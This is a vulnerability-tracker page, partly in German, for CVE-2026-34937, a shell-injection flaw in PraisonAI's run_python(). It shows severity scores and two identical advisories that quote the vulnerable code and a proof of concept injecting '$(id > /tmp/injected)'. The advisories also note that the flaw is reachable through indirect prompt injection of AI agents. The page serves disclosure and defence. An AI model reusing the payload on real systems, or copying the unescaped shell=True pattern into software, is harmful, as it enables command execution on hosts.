CVE-2026-34937

criticalPriorität · verfolgen · 39EPSS 0.006 · 50. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.63% (50th) EPSS
CVSS 9.8 · critical
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-23

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

9.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · high–critical · 7.8–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 3.9 · Auswirkung 5.9
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 1.8 · Auswirkung 5.9
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-w37c-qqfp-c67fPraisonAI: Shell Injection in run_python() via Unescaped $() Substitution2026-04-01ghsa · osvUS

    ### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.

  • PYSEC-2026-2954PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution2026-07-13vendor · osvUS

    ### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.

06

auch bekannt als (6)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-04-03geändert 2026-07-24
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan